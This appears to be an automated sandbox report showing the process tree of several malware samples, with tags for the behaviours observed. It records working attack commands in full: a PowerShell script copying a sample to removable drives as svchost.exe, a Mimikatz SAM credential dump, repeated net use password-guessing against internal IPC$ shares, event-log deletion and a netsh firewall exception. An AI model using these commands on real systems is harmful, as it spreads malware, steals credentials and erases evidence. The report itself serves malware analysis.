C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " try { Invoke-Mimikatz -Command '\"privilege::debug\" \"token::elevate\" \"lsadump::sam\" \"exit\"' -ErrorAction SilentlyContinue } catch {} "2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ letmein /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ welcome /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ administrator /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ passw0rd /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ 1234 /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ test /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ admin /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ password /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ 123456 /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ qwerty /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ letmein /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ welcome /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ passw0rd /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ administrator /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ password /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ administrator /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ 1234 /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ test /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ welcome /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ passw0rd /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ admin /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ 123456 /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ password /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ qwerty /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ 123456 /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ 1234 /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.3.225\IPC$ test /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ admin /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ qwerty /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ letmein /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ letmein /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ welcome /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ passw0rd /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ administrator /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ 1234 /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ admin /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ test /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ password /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ 123456 /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ qwerty /user:guest2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ 123456 /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ administrator /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ 1234 /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ test /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ admin /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ password /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ 123456 /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ qwerty /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ administrator /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ 1234 /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ letmein /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ welcome /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ letmein /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ passw0rd /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ test /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ admin /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ welcome /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ passw0rd /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ administrator /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ 1234 /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ test /user:administrator2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ admin /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ passw0rd /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ password /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ 123456 /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ qwerty /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ letmein /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ welcome /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ letmein /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ welcome /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ passw0rd /user:admin2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-ChildItem -Path \"$env:SYSTEMROOT\System32\winevt\Logs\" -Recurse | Remove-Item -Force Get-ChildItem -Path \"$env:SYSTEMROOT\Logs\" -Recurse | Remove-Item -Force "2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ administrator /user:admin2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ 1234 /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ test /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ admin /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ password /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.4.200\IPC$ qwerty /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ password /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ 123456 /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ qwerty /user:guest2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ letmein /user:guest2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ welcome /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ passw0rd /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ administrator /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ 1234 /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ test /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ admin /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ password /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ 123456 /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ qwerty /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ letmein /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ welcome /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ passw0rd /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ administrator /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ 1234 /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.5.133\IPC$ test /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ admin /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ password /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ 123456 /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ qwerty /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ letmein /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ welcome /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ passw0rd /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ administrator /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ 1234 /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ test /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ admin /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ password /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ 123456 /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ qwerty /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ letmein /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ welcome /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ passw0rd /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ administrator /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ 1234 /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ test /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ admin /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ password /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ 123456 /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ qwerty /user:guest2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " try { Invoke-Mimikatz -Command '\"privilege::debug\" \"token::elevate\" \"lsadump::sam\" \"exit\"' -ErrorAction SilentlyContinue } catch {} "2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ letmein /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ welcome /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ 1234 /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ passw0rd /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ admin /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ qwerty /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ 123456 /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ administrator /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ password /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ letmein /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ welcome /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ test /user:guest2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.2.185\IPC$ password /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.2.185\IPC$ admin /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ passw0rd /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ 1234 /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ test /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.137\IPC$ administrator /user:user2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.2.185\IPC$ 123456 /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.2.185\IPC$ qwerty /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.2.185\IPC$ welcome /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.2.185\IPC$ administrator /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.2.185\IPC$ letmein /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.2.185\IPC$ passw0rd /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.2.185\IPC$ 1234 /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.2.185\IPC$ test /user:administrator2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.2.185\IPC$ admin /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.2.185\IPC$ password /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.2.185\IPC$ 123456 /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.2.185\IPC$ qwerty /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.2.185\IPC$ letmein /user:admin2⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.2.185\IPC$ welcome /user:admin2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\_1bb10490d6f13e80d874896428908f6b5758b9722b959841c369c6ddc435230e.exe"C:\Users\Admin\Desktop\Red-Flaged\_1bb10490d6f13e80d874896428908f6b5758b9722b959841c369c6ddc435230e.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\Desktop\Red-Flaged\_13a5c1a535c161fd2724423dad1dfa6885c705713569d4ed4f2ebf900df25ed7.exe"C:\Users\Admin\Desktop\Red-Flaged\_13a5c1a535c161fd2724423dad1dfa6885c705713569d4ed4f2ebf900df25ed7.exe"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\_69997b7923fe84358aa11adc4db0862577ac9336c657e771a2244f07c843816a.exe"C:\Users\Admin\Desktop\Red-Flaged\_69997b7923fe84358aa11adc4db0862577ac9336c657e771a2244f07c843816a.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\Red-Flaged\_529586cbbd8586d7f33a3ea9bdd517b7ead617b4e12165106e81e4bfad859474.exe"C:\Users\Admin\Desktop\Red-Flaged\_529586cbbd8586d7f33a3ea9bdd517b7ead617b4e12165106e81e4bfad859474.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\fcvtee.exe"C:\Users\Admin\AppData\Roaming\fcvtee.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\fcvtee.exe"C:\Users\Admin\AppData\Roaming\fcvtee.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6140 -s 11084⤵
- Program crash
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\_529586cbbd8586d7f33a3ea9bdd517b7ead617b4e12165106e81e4bfad859474.exe"C:\Users\Admin\Desktop\Red-Flaged\_529586cbbd8586d7f33a3ea9bdd517b7ead617b4e12165106e81e4bfad859474.exe"2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Red-Flaged\_aa885d2d8550a5816070d4174a504ae7b4d90e3e50b3dbce7cea17443b6b9080.exe"C:\Users\Admin\Desktop\Red-Flaged\_aa885d2d8550a5816070d4174a504ae7b4d90e3e50b3dbce7cea17443b6b9080.exe"1⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\confuse\chargeable.exe"C:\Users\Admin\AppData\Roaming\confuse\chargeable.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\confuse\chargeable.exeC:\Users\Admin\AppData\Roaming\confuse\chargeable.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\confuse\chargeable.exe" "chargeable.exe" ENABLE4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\_efffbda36edcb7d4130f65a57d3966e7694172fb5db37ce48f27849d239066c7.exe"C:\Users\Admin\Desktop\Red-Flaged\_efffbda36edcb7d4130f65a57d3966e7694172fb5db37ce48f27849d239066c7.exe"1⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\WSCollect.exe"C:\Users\Admin\Documents\WSCollect.exe"2⤵
- Drops startup file
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Desktop\Red-Flaged\µ¥Äµ╡ĵ╡Öτ¢┤µÆ¡σè⌐µëï(32τëêµ£¼Σ╗ÑΣ╕è)V1.2.0.exe"C:\Users\Admin\Desktop\Red-Flaged\µ¥Äµ╡ĵ╡Öτ¢┤µÆ¡σè⌐µëï(32τëêµ£¼Σ╗ÑΣ╕è)V1.2.0.exe"1⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Desktop\Red-Flaged\._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe"C:\Users\Admin\Desktop\Red-Flaged\._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe3⤵
- Server Software Component: Terminal Services DLL
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe3⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.15⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exeC:\Users\Admin\Desktop\Red-Flaged\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-2E5UA.tmp\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.tmp"C:\Users\Admin\AppData\Local\Temp\is-2E5UA.tmp\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.tmp" /SL5="$4031C,1370523,1281024,C:\Users\Admin\Desktop\Red-Flaged\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\0e932dd0eb5ac59e3a4a2412ad3424052fd57053923a9006b8a63061b2d9ba78.exe"C:\Users\Admin\Desktop\Red-Flaged\0e932dd0eb5ac59e3a4a2412ad3424052fd57053923a9006b8a63061b2d9ba78.exe"1⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Suspicious use of AdjustPrivilegeToken
-
